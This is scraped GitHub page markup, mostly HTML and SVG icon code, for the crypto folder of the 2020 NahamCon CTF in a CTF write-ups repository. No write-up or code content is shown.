0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> noob-atbash </span> <span>/</span> CTF-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>9</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/noob-atbash/CTF-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":268353024,"originating_url":"https://github.com/noob-atbash/CTF-writeups/tree/master/nahamcon-20/crypto","user_id":null}}" data-hydro-click-hmac="65abb35ca1518c6be88127484d68335a13c46271c8aa6e629ce48fe6e77646f2"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>nahamcon-20</span></span><span>/</span>crypto<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>nahamcon-20</span></span><span>/</span>crypto<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/noob-atbash/CTF-writeups/tree-commit/3c4f9c25171916f6fb184a5a4972b560aa172298/nahamcon-20/crypto" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/noob-atbash/CTF-writeups/file-list/master/nahamcon-20/crypto"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 